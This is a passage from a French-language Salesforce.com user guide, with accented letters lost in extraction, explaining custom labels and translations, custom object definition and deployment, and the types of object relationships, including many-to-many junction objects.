3. Si vous crez une nouvelle tiquette personnalise, entrez le nom qu'utilise l'tiquette dans la zone de texte Nom. Cette
valeur est utilise dans les scripts Apex et dans les pages Visualforce pour rfrencer l'tiquette personnalise. Les noms ne
doivent contenir que des caractres alphanumriques, commencer par une lettre, ne contenir ni espace ni de doubles traits
de soulignement et tre uniques parmi toutes les autres tiquettes de votre entreprise.
4. Cochez la case Composant protg pour marquer l'tiquette personnalise comme tant protge. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
5. Dans la zone de texte Catgories, entrez le texte pour classer l'tiquette. Le champ peut tre utilis dans des critres de
filtrage lors de la cration de vues de listes d'tiquettes personnalises. Sparez chaque catgorie par une virgule. Le nombre
total de caractres autoriss dans la zone de texte Catgories est de 255.

Crer

Guide de l'utilisateur | Affichage des tiquettes personnalises | 688

6. Dans la zone de texte Valeur, vous pouvez entrer jusqu' 1 000 caractres de texte. Cette valeur peut tre traduite dans
nimporte quelle langue prise en charge par Salesforce.com.
Remarque: Quelques minutes peuvent tre ncessaires avant que tous les utilisateurs puissent voir les modifications
que vous avez apportes ce champ.
7. Cliquez sur Enregistrer.

Voir aussi :
Prsentation des tiquettes personnalises
Affichage des tiquettes personnalises

Affichage des tiquettes personnalises

Disponible avec : Developer Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Crer, modifier ou supprimer des tiquettes personnalises :

Autorisation de personnalisation de l'application

Crer ou remplacer une traduction :

Grer la traduction
OU
Afficher la configuration et tre dsign comme traducteur

Aprs avoir cr une tiquette personnalise, vous pouvez :

Modifier l'tiquette personnalise.

Remarque: Vous ne pouvez pas modifier les attributs d'tiquettes personnalises installs en tant que partie d'un
package gr. Vous ne pouvez que remplacer les traductions existantes ou fournir de nouvelles traductions pour les
langues qui ne sont pas incluses dans le package.

Supprimer une tiquette personnalise.

Remarque: Vous ne pouvez pas supprimer des tiquettes personnalises et installes en tant que partie d'un package
gr ou qui sont rfrences par un script Apex ou par une page Visualforce. Vous ne pouvez que remplacer des
traductions existantes.

Remplacer une traduction existante.

Crer, modifier ou supprimer une traduction locale.

Traductions
Vous pouvez crer des traductions pour des tiquettes personnalises. Pour crer des traductions, vous devez activer le systme
de traduction.

Crer

Guide de l'utilisateur | Cration de traductions d'tiquettes personnalises | 689

Pour crer une nouvelle traduction locale, cliquez sur Nouveau et saisissez les informations de l'tiquette personnalise.
Reportez-vous Cration de traductions pour des tiquettes personnalises la page 689.
Pour des tiquettes personnalises installes en tant que partie d'un package gr, vous pouvez remplacer les traductions
existantes ou fournir de nouvelles traductions pour les langues qui ne sont pas incluses dans le package.
Pour remplacer une traduction existante, cliquez sur Remplacer en regard de la traduction que vous souhaitez remplacer puis
saisissez les nouvelles informations de la traduction. Reportez-vous Remplacement de traductions pour des tiquettes
personnalises la page 690.
Si vous souhaitez restaurer la traduction installe en tant que partie du package gr, cliquez sur Rinitialiser en regard du
nom de l'tiquette personnalise. Toutes les informations remplaces seront perdues.

Cration de traductions d'tiquettes personnalises

Disponible avec : Developer Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Crer, modifier ou supprimer des tiquettes personnalises :

Autorisation de personnalisation de l'application

Crer ou remplacer une traduction :

Grer la traduction
OU
Afficher la configuration et tre dsign comme traducteur

Pour crer une nouvelle traduction d'une tiquette personnalise :

1. Activez le systme de traduction.
2. partir de Configuration Crer Etiquettes personnalises, slectionnez l'tiquette personnalise puis cliquez sur
Nouvelles traductions locale / Remplacement.
3. Slectionnez la langue de traduction. Vous pouvez choisir n'importe quelle langue prise en charge par Salesforce.com pour
laquelle vous tes dsign comme traducteur.
4. Dans la zone de texte Texte de la traduction, saisissez le texte de la nouvelle traduction. Ce texte remplace la valeur spcifie
dans le champ Valeur de l'tiquette si la langue par dfaut de l'utilisateur correspond celle de la traduction.
5. Cliquez sur Enregistrer.

Voir aussi :
Prsentation des tiquettes personnalises
Affichage des tiquettes personnalises
Remplacement de traductions d'tiquettes personnalises
Configuration du systme de traduction

Crer

Guide de l'utilisateur | Remplacement de traductions d'tiquettes personnalises | 690

Remplacement de traductions d'tiquettes personnalises

Disponible avec : Developer Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Crer, modifier ou supprimer des tiquettes personnalises :

Autorisation de personnalisation de l'application

Crer ou remplacer une traduction :

Grer la traduction
OU
Afficher la configuration et tre dsign comme traducteur

Pour remplacer une traduction existante :

1. Activez le systme de traduction.
2. partir de Configuration Crer Etiquettes personnalises, slectionnez l'tiquette personnalise puis cliquez sur
Remplacer.
3. Dans la zone de texte Texte de la traduction, saisissez le texte de la nouvelle traduction. Ce texte remplace la valeur spcifie
dans le champ Valeur de l'tiquette si la langue par dfaut de l'utilisateur correspond celle de la traduction.
4. Cliquez sur Enregistrer.
Si vous souhaitez restaurer la traduction installe en tant que partie du package gr, cliquez sur Rinitialiser en regard du
nom de l'tiquette personnalise. Toutes les informations remplaces seront perdues.

Voir aussi :
Prsentation des tiquettes personnalises
Affichage des tiquettes personnalises
Cration de traductions d'tiquettes personnalises
Configuration du systme de traduction

Prsentation de l'objet personnalis

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Les objets personnaliss sont des tables de base de donnes personnalises, qui permettent de stocker des informations propres
votre organisation. Par exemple, votre entreprise peut souhaiter crer un objet personnalis appel Devis pour stocker les
donnes relatives aux devis mis par votre socit. Reportez-vous ditions Salesforce.com et limitations la page 932 pour
le nombre total d'objets personnalises que vous pouvez crer.
Aprs avoir configur un objet personnalis, vous pouvez :

Crer

Guide de l'utilisateur | Dfinition d'objets personnaliss | 691

Crer des champs personnaliss. Reportez-vous ditions Salesforce.com et limitations la page 932 pour le nombre total
de champs personnalises que vous pouvez crer.
Associer l'objet personnalis d'autres enregistrements et afficher les donnes de cet objet dans des listes associes
personnalises. Pour plus d'informations, reportez-vous Prsentation des relations la page 697.
Concevoir des prsentations de page.
Personnaliser les rsultats de recherche et les champs d'objet personnalis qui y apparaissent
Crer un onglet personnalis pour l'objet personnalis
Crer des rapports et des tableaux de bord pour analyser les donnes d'objet personnalis.
Partager des objets personnaliss, des onglets personnaliss, des sous-applications personnalises et des composants associs
d'autres utilisateurs Salesforce.com dans Force.com AppExchange. Reportez-vous Prsentation des packages la page
836.
Importer des enregistrements d'objet personnalis
Dfinir une file d'attente pour distribuer la proprit des enregistrements d'objet personnalis

Voir aussi :
Dfinition de l'aide au niveau des objets
Prsentation d'une sous-application

Dfinition d'objets personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer et modifier des objets personnaliss :

Personnaliser l'application

Dfinissez des objets personnaliss pour suivre et stocker les donnes propres votre entreprise. Reportez-vous ditions
Salesforce.com et limitations la page 932 pour le nombre total d'objets personnalises que vous pouvez crer.
Pour crer un objet personnalis :
1. Cliquez sur Configuration Crer Objets.
2. Cliquez sur Nouvel objet personnalis ou sur Modifier pour modifier un objet personnalis existant.
3. Entrez les informations suivantes :
Champ

Description

tiquette

Nom utilis pour faire rfrence l'objet dans les pages de

l'interface utilisateur.

tiquette - pluriel

Nom de l'objet au pluriel. Si vous crez un onglet pour cet

objet, ce nom est utilis pour l'onglet.

Crer

Guide de l'utilisateur | Dfinition d'objets personnaliss | 692

Champ

Description

Genre

Le cas chant, vous avez la possibilit de prciser le genre

du terme de l'tiquette pour la langue par dfaut de
l'organisation. Ce champ apparat si la langue par dfaut
applicable l'ensemble de l'organisation requiert un genre.
Le paramtre de prfrence concernant votre langue n'a
aucune incidence sur l'affichage de ce champ.

Commence par un son vocalique

Si ncessaire dans la langue par dfaut de l'organisation,

activez cette case pour indiquer si votre tiquette doit tre
prcde d'une apostrophe ( l' au lieu de la/le ).

Nom de l'objet

Nom unique utilis pour faire rfrence l'objet lors de

l'utilisation de l'API Force.com. Dans les packages grs, ce
nom unique empche les conflits de noms dans les
installations de packages. Le champ Nom d'objet ne peut
contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique, commencer par une
lettre, ne pas inclure despace, ne pas se terminer pas un trait
de soulignement et ne doit pas contenir deux traits de
soulignement conscutifs.

Description

Description facultative de l'objet.

Configuration de l'aide contextuelle

Dfinit les lments qui apparaissent lorsque les utilisateurs

cliquent sur le lien d'aide contextuelle Aide relative cette
page dans les pages de dtails, de modification et d'accueil
d'enregistrements d'objet personnalis (aperu), ainsi que
dans les vues de liste et les listes associes. Slectionnez
Ouvrir la fentre Aide & Formation Salesforce standard
pour afficher l'aide Salesforce.com de base disponible pour
tout enregistrement d'objet personnalis. Slectionnez
Ouvrir une fentre l'aide d'une page
Visualforce ou Ouvrir une fentre l'aide d'une

commande Custom S-Control pour afficher la page

Visualforce ou la commande s-control que vous slectionnez
comme lien d'aide contextuelle dans n'importe quelle page
d'enregistrement d'objet personnalis.
Remarque: Le lien Aide et formation situ dans la
partie suprieure des pages n'est pas influenc par ce
paramtre. Il ouvre toujours la fentre Aide et
formation de Salesforce.com.
Commande Custom S-Control

Commande s-control dfinie comportant le contenu de l'aide

pour cet objet personnalis.

Nom de l'enregistrement

Nom utilis dans les prsentations de page, les vues de liste,

les listes associes et les rsultats de recherche.

Crer

Guide de l'utilisateur | Dfinition d'objets personnaliss | 693

Champ

Description

Type de donnes

Type de champ (texte ou numro automatique) du nom de

l'enregistrement. Les enregistrements qui ont un ID unique
la place d'un nom utilisent la numrotation automatique.
Un numro automatique est un numro squentiel unique
attribu automatiquement. Il s'agit systmatiquement de
champs en lecture seule.

Format d'affichage

Pour un nom d'enregistrement de type numro

automatique, entrez le format d'affichage. Vous disposez de
deux jeux d'accolades au maximum. Pour plus d'informations
sur les options de formatage de l'affichage, reportez-vous
Attributs de champ personnalis la page 397.

Numro de dbut

Pour un nom d'enregistrement de type numro

automatique, entrez le numro utiliser lorsque vous crez
le premier enregistrement de cet objet personnalis.

Autoriser les rapports

Permet d'utiliser les donnes contenues dans les

enregistrements d'objet personnalis pour la gnration de
rapports.
Pour crer des rapports sur des objets personnaliss,
choisissez Autres rapports comme catgorie de types de
rapport, sauf si l'objet personnalis a une relation avec un
objet standard. Si l'objet personnalis a une relation
principal-dtails avec un objet standard ou reprsente un
objet de recherche sur un objet standard, choisissez l'objet
standard pour la catgorie de types de rapport.

Autoriser les activits

Permet aux utilisateurs d'associer des tches et des

vnements du calendrier planifis, lis aux enregistrements
d'objet personnalis.

Activer la prise en charge des services

Si votre entreprise a activ des services, slectionnez cette

option pour activer l'objet personnalis pour les services. Les
services regroupent les enregistrements de faon faciliter
les recherches, les vues de liste et les rapports, ainsi que
d'autres domaines de Salesforce.com. Salesforce.com ajoute
un champ Service l'objet personnalis. Si cet objet
personnalis est l'lment principal d'une relation
principal-dtails, le champ Service porte galement sur
tous les objets personnaliss existant ct dtails. Ces derniers
hritent alors du service de l'enregistrement principal.
Pour obtenir une vue d'ensemble des services, reportez-vous
Prsentation des services la page 63.

Historique du champ de suivi

Permet votre entreprise de suivre les modifications

apportes aux champs des enregistrements d'objet
personnalis, par exemple l'auteur et la date du changement,

Crer

Guide de l'utilisateur | Dfinition d'objets personnaliss | 694

Champ

Description
ainsi que la valeur du champ avant et aprs modification.
Les donnes historiques sont disponibles pour la gnration
de rapports afin que les utilisateurs puissent facilement
gnrer des journaux d'audit lorsque cette fonctionnalit est
active. Pour plus d'informations, reportez-vous Suivi de
l'historique des champs la page 410.

Statut du dploiement

Indique si l'objet personnalis est visible par d'autres

utilisateurs. Pour plus d'informations, reportez-vous
Dploiement d'objets personnaliss la page 695.

Ajouter la liste associe des notes et des Permet aux utilisateurs de joindre des notes et des pices
pices jointes la prsentation de page par jointes aux enregistrements d'objet personnalis.
dfaut

Cette option est disponible uniquement lorsque vous crez

un objet.

Lancer l'assistant Nouvel onglet

personnalis aprs avoir enregistr cet
objet personnalis

Lance l'assistant d'onglet personnalis une fois que vous avez

enregistr l'objet personnalis. Reportez-vous Dfinition
d'onglets personnaliss la page 718.

4. Cliquez sur Enregistrer. Si vous avez lanc l'assistant d'onglet personnalis, reportez-vous Dfinition d'onglets personnaliss
la page 718.
Le modle de partage de donnes de tous les objets personnaliss est contrl par un paramtre par dfaut l'chelle de
l'organisation. Pour plus d'informations, reportez-vous Scurit des objets personnaliss la page 713.
Aprs avoir cr un objet personnalis, vous pouvez dlguer son administration d'autres utilisateurs non administrateurs.
Reportez-vous Dlgation de l'administration des objets personnaliss la page 212.
Une fois que vous avez cr un objet personnalis, vous pouvez dfinir des files d'attente pour dsigner parmi vos utilisateurs
les responsables des enregistrements d'objet personnalis. Reportez-vous Gestion des files d'attente la page 139.

Voir aussi :
Gestion du workflow et des approbations
Prsentation des relations
Dfinition de l'aide au niveau des objets

Crer

Guide de l'utilisateur | Dfinition d'objets personnaliss | 695

Dploiement d'objets personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour dployer des objets personnaliss :

Personnaliser l'application

Lors du dveloppement d'objets personnaliss, vous ne voudrez peut-tre pas que les utilisateurs puissent afficher un nouvel
objet et communiquer avec celui-ci. Dans la mesure o les utilisateurs risquent de ne pas apprcier les modifications apportes
la prsentation ou de perdre des donnes lorsque vous supprimez des champs personnaliss, contrlez la visibilit du nouvel
objet pendant toute la dure de l'opration.
Utilisez le paramtre Statut du dploiement de la dfinition de l'objet personnalis pour indiquer le moment o les
utilisateurs peuvent afficher et utiliser un objet personnalis et l'onglet personnalis, les listes et les rapports qui lui sont associs.

Choisissez le statut de dploiement En cours de dveloppement lorsque vous crez votre objet personnalis pour le
cacher aux utilisateurs pendant sa conception et son test. Le statut En cours de dveloppement masque l'onglet, les rsultats
de recherche, les listes associes et les types de donnes de rapport de l'objet personnalis tous les utilisateurs, l'exception
de ceux qui sont autoriss personnaliser l'application.
Remplacez le statut de dploiement par Dploy si vous souhaitez que les utilisateurs puissent employer l'objet
personnalis et l'onglet personnalis, les listes et les rapports associs.
Aprs avoir dploy un objet personnalis, rtablissez le statut de dploiement sur En cours de dveloppement si
vous souhaitez apporter d'autres amliorations l'objet.
Remarque: Le statut de dploiement d'un type de rapport personnalis passera automatiquement de Dploy
En cours de dveloppement si son objet principal est un objet personnalis dont le statut de dploiement
passe de Dploy En cours de dveloppement. Pour plus d'informations, reportez-vous Dfinition des types de
rapport personnalis la page 1757.

Voir aussi :
Dfinition d'objets personnaliss

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Guide de l'utilisateur | Gestion des objets personnaliss | 696

Gestion des objets personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer et modifier des objets personnaliss :

Personnaliser l'application

Aprs avoir cr vos objets personnaliss, vous pouvez les personnaliser, les modifier et les supprimer. Cliquez sur Configuration
Crer Objets pour afficher la page de liste Objets personnaliss, qui contient la liste des objets personnaliss dfinis pour
votre entreprise. partir de la page de liste Objets personnaliss, vous pouvez effectuer les oprations suivantes :

Cliquez sur Nouvel objet personnalis pour dfinir un objet personnalis.

Cliquez sur le nom de l'objet pour afficher des informations dtailles le concernant et le personnaliser davantage.
Parmi les fonctionnalits facultatives que vous pouvez personnaliser, citons l'activation de rapports, le suivi d'activits et
d'historique des champs, et la mise disposition des objets pour le portail client Salesforce.com.

Pour mettre jour la dfinition concernant les objets personnaliss, cliquez sur Modifier et mettez jour les champs voulus
dans l'assistant.
Remarque: Les champs Autoriser les rapports et Autoriser les activits ne sont pas verrouills
dans Gr-Publi et peuvent tre modifis par le dveloppeur dans des versions ultrieures d'un package gr.

Pour supprimer un objet personnalis, cliquez sur Suppr.

Pour afficher les objets personnaliss supprims, cliquez sur le lien Objets supprims. Le nombre total d'objets personnaliss
supprims pour votre organisation est indiqu entre parenthses.

Lorsque vous affichez la page de dtails d'un objet personnalis, la partie infrieure de la page fournit des informations sur
diffrentes caractristiques de cet objet : champs standard, champs personnaliss, suivi de l'historique des champs, relations,
liens personnaliss, prsentations de recherche et de page. Vous pouvez:

Cliquez sur les diffrents lments pour afficher des dtails supplmentaires.
Cliquez sur plus au bas de la page ou sur Afficher plus d'informations sous une liste associe pour afficher d'autres lments.
Cliquez sur Nouveau pour ajouter directement de nouveaux lments.

Voir aussi :
Prsentation de l'objet personnalis
Prsentation des relations
Personnalisation d'objets personnaliss
Importer les objets personnaliss de mon organisation
Suivi de l'historique des champs
Dfinition de l'aide au niveau des objets

Crer

Guide de l'utilisateur | Prsentation des relations | 697

Prsentation des relations

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Les relations permettent d'associer un objet d'autres objets dans Salesforce.com. Par exemple, une relation peut lier des
enregistrements d'objets personnels des enregistrements d'objets standard dans une liste correspondante, telle que la liaison
d'un objet personnel appel Bogues des requtes afin de suivre les dfauts de produit associs aux requtes des clients.
Vous pouvez dfinir diffrents types de relation en crant des champs de relation personnaliss pour un objet. Avant de
commencer crer des relations, dterminez le type de relation correspondant vos besoins.
Dans Salesforce.com, il existe diffrents types de relation entre les objets. La diffrence entre ces deux types de relation rside
dans la manire dont elles grent la suppression des donnes, la responsabilit des enregistrements, la scurit et les champs
obligatoires dans les prsentations de page :
Principal-Dtails
Ce type de relation relie troitement deux objets de sorte que l'enregistrement principal contrle certains comportements
de l'enregistrement de dtail. notamment :

Lorsqu'un enregistrement principal est supprim, les enregistrements de dtail associs le sont galement.
Le champ Responsable de l'enregistrement de dtail est indisponible et automatiquement dfini sur le responsable
de l'enregistrement principal. Les objets personnaliss situs du ct dtails d'une relation principal-dtails ne
peuvent pas avoir de rgle de partage ni de file d'attente, car ils ncessitent le champ Responsable.
Les paramtres de scurit dfinis pour l'enregistrement principal s'appliquent l'enregistrement de dtail.
Le champ de relation principal-dtails (qui correspond au champ reliant les deux objets) doit figurer dans la prsentation
de page de l'enregistrement de dtail.

Vous pouvez dfinir des relations principal-dtails entre deux objets personnaliss, ou entre un objet personnalis et un
objet standard. Cependant, l'objet standard ne peut pas se situer du ct dtails de la relation. De plus, vous ne pouvez
pas dfinir de relation principal-dtails avec des utilisateurs ou des pistes.
Lorsque vous dfinissez une relation principal-dtails, l'objet personnalis sur lequel vous travaillez correspond au ct
dtails . Ses donnes peuvent apparatre sous forme de liste associe personnalise sur les prsentations de page de
l'autre objet.
Conseil: Si vous disposez d'un objet personnalis nomm Dpenses et que vous souhaitez que chaque
enregistrement de dpense soit supprim en mme temps que l'enregistrement d'opportunit associ, crez une
relation principal-dtails entre l'objet personnalis Dpenses et l'objet Opportunit, dfini comme objet principal.
Plusieurs--plusieurs
Vous pouvez utiliser des relations principal-dtails pour modliser des relations plusieurs--plusieurs entre deux objets
standard, deux objets personnaliss ou un objet standard et un objet personnalis. Une relation plusieurs--plusieurs
permet chaque enregistrement d'un objet d'tre li plusieurs enregistrements d'un autre objet et inversement. Par
exemple, vous pouvez avoir un objet personnalis appel Bogue en relation avec l'objet requte standard de sorte qu'un
bogue peut correspondre plusieurs requtes et qu'une requte peut aussi correspondre plusieurs bogues. Reportez-vous
Cration d'une relation plusieurs--plusieurs la page 699.

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Guide de l'utilisateur | Prsentation des relations | 698

Recherche
Ce type de relation relie deux objets, mais ne concerne pas la suppression, la responsabilit des enregistrements ou la
scurit, et la prsence du champ de relation de recherche n'est pas obligatoire dans la prsentation de page.
Utilisez les relations de recherche pour :

Lier deux objets diffrents, personnaliss ou standard.

Lier un objet lui-mme, personnalis ou standard ( l'exception de l'objet utilisateur ; reportez-vous Hirarchique
la page 698). Par exemple, vous pouvez lier un objet personnalis appel bogue lui-mme pour prsenter la
faon dont deux bogues diffrents sont associs au mme problme.
Remarque: Les relations de recherche depuis des objets associs l'objet membre de la campagne ne sont pas
pris en charge. Cependant, vous pouvez crer des relations de recherche partir de l'objet membre de la campagne
associ d'autres objets.

Lorsque vous dfinissez une relation de recherche, vous avez la possibilit d'inclure un champ de recherche dans les
prsentations de page de cet objet et de crer une liste associe sur les prsentations de page de l'objet associ. Par exemple,
si vous disposez d'un objet personnalis nomm Demandes de congs pays et que vous souhaitez que vos utilisateurs
relient les demandes de congs pays l'employ ayant soumis la demande, crez une relation de recherche avec l'objet
utilisateur partir de l'objet personnalis Demandes de congs pays.
Hirarchique
Ce type de relation constitue une relation de recherche spcifique disponible uniquement pour l'objet utilisateur. Il permet
d'utiliser un champ de recherche pour associer un utilisateur un autre qui ne fait pas directement ou indirectement
rfrence lui-mme. Par exemple, vous pouvez crer un champ de relation hirarchique personnalis pour stocker le
responsable direct de chaque utilisateur.
Conseil: Lorsque vous crez un champ hirarchique dans les ditions Personal Edition, Contact Manager
Edition, Group Edition et Professional Edition, vous pouvez cocher la case Champ limit de sorte que seuls
les utilisateurs autoriss grer les utilisateurs puissent le modifier. Dans les ditions Enterprise, Unlimited et
Developer, utilisez la scurit au niveau des champs.

Voir aussi :
Observations concernant les relations
Dfinition d'objets personnaliss
Ajout de champs et de relations

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Guide de l'utilisateur | Prsentation des relations | 699

Cration d'une relation plusieurs--plusieurs

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer une relation plusieurs--plusieurs :

Personnaliser l'application

Vous pouvez utiliser des relations principal-dtails pour modliser des relations plusieurs--plusieurs entre deux objets standard,
deux objets personnaliss ou un objet personnalis et un objet standard. Une relation plusieurs--plusieurs permet chaque
enregistrement d'un objet d'tre li plusieurs enregistrements partir d'un autre objet et inversement. Par exemple, vous
pouvez avoir un objet personnalis appel Bogue en relation avec l'objet requte standard de sorte qu'un bogue peut
correspondre plusieurs requtes et qu'une requte peut aussi correspondre plusieurs bogues. Lors de la modlisation d'une
relation plusieurs--plusieurs, vous utilisez un objet junction pour connecter deux objets que vous souhaitez associer l'un
l'autre.
Objet Junction
Objet personnalis avec deux relations principal-dtails. l'aide d'un objet jonction personnalis, vous pouvez modliser
des relations plusieurs--plusieurs entre deux objets. Par exemple, vous pouvez avoir un objet personnalis appel
Bogue en relation avec l'objet requte standard de sorte qu'un bogue peut correspondre plusieurs requtes et qu'une
requte peut aussi correspondre plusieurs bogues.
La cration d'une relation plusieurs--plusieurs se compose de :
1.
2.
3.
4.

Cration de l'objet junction.

la cration des deux relations principal-dtail.
la personnalisation des listes associes sur les prsentations de page des deux objets principaux.
la personnalisation de rapports afin de maximiser l'efficacit de la relation plusieurs--plusieurs.

Cration de l'objet junction

Pour crer l'objet junction :
1. Cliquez sur Configuration Crer Objets.
2. Cliquez sur Nouvel objet personnalis.
3. Dans l'assistant d'objet personnalis, tenez particulirement compte de ces conseils pour les objets junction :

Donnez un nom l'objet avec une tiquette qui indique sa destination, telle que AssociationRequteBogue.
Pour le champ Nom d'enregistrement, il est recommand d'utiliser le type de donnes numrotation automatique.
Ne lancez pas l'assistant d'onglet personnalis avant de cliquer sur Enregistrer. Les objets junction ncessitent un
onglet.

Cration des deux relations principal-dtail

Pour crer les deux relations principal-dtail :

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Guide de l'utilisateur | Prsentation des relations | 700

1. Vrifiez que les deux objets que vous souhaitez associer existent dj. Par exemple, vous pouvez souhaiter associer l'objet
de requte standard un objet de bogue personnalis.
2. Sur l'objet junction, crez le premier champ de la relation principal-dtails. Dans l'assistant de champ personnalis :
a. Choisissez Relation principal-dtails comme type de champ.
b. Slectionnez l'un des objets associer votre objet junction. Par exemple, slectionnez Requte.
La premire relation principal-dtails que vous crez sur votre objet junction devient la relation principale. Cela affecte
les lments suivants pour les enregistrements d'objet junction :

Apparence : Les pages de dtails et de modification de l'objet junction utilisent la couleur et toutes les icnes associes
de l'objet principal.
Responsable d'enregistrement : Les enregistrements de l'objet junction hritent de la valeur du champ Responsable
de leur enregistrement principal associ. Comme les objets du ct dtails de la relation ne disposent pas d'un champ
Responsable visible, cela n'est pertinent que dans la mesure o vous supprimez par la suite les deux relations
principal-dtails de votre objet junction.
Service : Si votre entreprise dispose de services des fins de segmentation des donnes, les enregistrements d'objet
junction hritent leur service de leur enregistrement principal associ. De mme qu'avec le responsable
d'enregistrement, cela n'est pertinent que dans la mesure o vous supprimez par la suite les deux relations
principal-dtails.

c. Slectionnez une option Paramtre de partage. Pour le champ de relation principal-dtails, l'attribut Paramtre
de partage dtermine l'accs au partage dont les utilisateurs doivent disposer pour un enregistrement principal afin
de crer, modifier ou supprimer ses enregistrements de dtail associs.
d. Pour l'tiquette de la liste associe qui sera affiche sur la prsentation de la page de l'objet principal,
n'acceptez pas les valeurs par dfaut. Modifiez-les pour utiliser le nom de l'autre objet principal dans votre relation
plusieurs--plusieurs. Par exemple, modifiez-les en Bogues afin que les utilisateurs puissent voir une liste associe de
bogues sur la page des dtails de la requte.
3. Sur l'objet junction, crez le second champ de la relation principal-dtails. Dans l'assistant de champ personnalis :
a. Choisissez Relation principal-dtails comme type de champ.
b. Slectionnez l'autre objet principal souhait associer votre objet junction. Par exemple, slectionnez Bogue.
La seconde relation principal-dtails que vous crez sur votre objet junction devient la relation secondaire. Si vous
supprimez la relation principal-dtails primaire ou si vous la convertissez en une relation de recherche, l'objet principal
secondaire devient primaire.
c. Slectionnez une option Paramtre de partage. Pour le champ de relation principal-dtails, l'attribut Paramtre
de partage dtermine l'accs au partage dont les utilisateurs doivent disposer pour un enregistrement principal afin
de crer, modifier ou supprimer ses enregistrements de dtail associs.
d. Pour l'tiquette de la liste associe qui sera affiche sur la prsentation de la page de l'objet principal,
n'acceptez pas les valeurs par dfaut. Modifiez-les pour utiliser le nom de l'autre objet principal dans votre relation
plusieurs--plusieurs. Par exemple, modifiez-les en Requtes afin que les utilisateurs puissent voir une liste associe
de requtes sur la page des dtails du bogue.
Personnalisation des listes associes de relation plusieurs--plusieurs
Pour une relation plusieurs--plusieurs dans Salesforce.com, chaque enregistrement d'objet principal affiche une liste associe
aux enregistrements de l'objet junction associ. Pour crer une exprience utilisateur sans heurt, vous pouvez changer le nom
de la liste associe de l'objet junction sur chacune des prsentations de page de l'objet principal pour qu'elle ait le nom de l'autre
objet principal. Par exemple, vous pouvez changer la liste associe AssociationsRequteBogue en Requtes sur la prsentation
de la page des bogues et en Bogues sur la prsentation de la page des requtes. Vous pouvez personnaliser d'avantage ces
listes associes pour afficher des champs de l'autre objet principal.

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Guide de l'utilisateur | Prsentation des relations | 701

Pour personnaliser les champs qui s'affichent dans la liste associe de l'objet junction de chaque prsentation de page de l'objet
principal :
1. Modifiez la prsentation de la page de chaque objet principal associ l'objet junction. Par exemple, pour modifier la liste
associe AssociationsRequteBogue pour les enregistrements de requte, modifiez la prsentation de la page destines aux
requtes en accdant Configuration Personnalisation Requtes Prsentations de page.
2. Modifiez les proprits dans la liste associe. Par exemple, dans certains cas la liste associe AssociationsRequteBogue a
t renomme Bogues, aussi slectionnez la liste associe Bogues.
3. Ajoutez les champs afficher dans la liste associe. Vous pouvez ajouter des champs de l'objet junction mme, mais, plus
important, vous pouvez ajouter des champs partir de l'autre objet principal.
Chaque champ est prcd de son nom d'objet dans la fentre contextuelle. Dans la liste associe mme, seuls des champs
de l'objet junction sont prcds du nom de l'objet ; les champs de l'autre objet principal ne le sont pas.
Remarque: La liste associe l'objet junction ne comprend pas d'icne sur les pages dtails de l'enregistrement principal
car l'objet junction ne possde pas d'onglet personnalis. Si vous crez un onglet pour l'objet junction, l'icne est incluse.

Personnalisation de rapports destins des relations plusieurs--plusieurs

Des relations plusieurs--plusieurs offrent deux types de rapports standard qui associent des objets principaux et l'objet junction.
Les types de rapport sont :

Principal primaire avec objet junction et principal secondaire dans la catgorie de rapport de l'objet principal primaire
Principal secondaire avec objet junction et principal primaire dans la catgorie de rapport de l'objet principal secondaire

L'ordre des objets principaux dans le type de rapport est important. Le premier objet principal indiqu dtermine la porte
des enregistrements qui peuvent tre affichs dans le rapport.
Vous pouvez crer des rapports personnaliss bass sur ces types de rapport standard. De plus, vous pouvez crer des types de
rapports personnaliss pour personnaliser les objets associs joints au rapport.

Voir aussi :
Dfinition d'objets personnaliss
Observations concernant les relations
Prsentation du type de rapport personnalis

Observations concernant les relations

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Examinez les points suivants avant de crer des relations entre des objets :
Limites des relations
Chaque objet personnalis peut avoir jusqu' deux relations principal-dtails et de nombreuses relations de recherche.
Chaque relation est incluse dans le nombre maximal autoris de champs personnaliss. Pour connatre le nombre total
de champs personnaliss que vous pouvez crer, reportez-vous ditions Salesforce.com et limitations la page 932.

Crer

Guide de l'utilisateur | Prsentation des relations | 702

Modification et conversion des relations

Aprs avoir cr une relation, vous ne pouvez pas modifier des objets associs via cette relation. Si vous devez le faire,
supprimez la relation et crez-en une nouvelle.
Vous pouvez convertir une relations principal-dtails en une relation de recherche tant qu'il n'existe aucun champ de
rcapitulatif de cumul dans l'objet principal.
Vous pouvez convertir une relation de recherche en relation principal-dtails, mais uniquement si le champ de recherche
contient une valeur dans tous les enregistrements.
Auto-relations
Vous pouvez crer une relation entre un objet et lui-mme. Il doit toutefois s'agir d'une relation de recherche. De plus,
un enregistrement unique ne peut pas tre associ lui-mme. Nanmoins, un enregistrement peut indirectement tre
reli lui-mme. Par exemple, la campagne Courriers directs de la campagne Promotion en matire de vacances peut
tre slectionne dans la relation de recherche, et la campagne Promotion en matire de vacances de la campagne Courriers
directs peut tre slectionne dans la relation de recherche.
Vous ne pouvez pas crez une auto-relation plusieurs--plusieurs, c'est--dire que les deux relations principal-dtails de
l'objet junction ne peuvent pas avoir le mme objet principal.
Icnes des listes associes personnalises
L'icne slectionne pour l'onglet personnalis associ apparat galement dans toute liste associe personnalise que
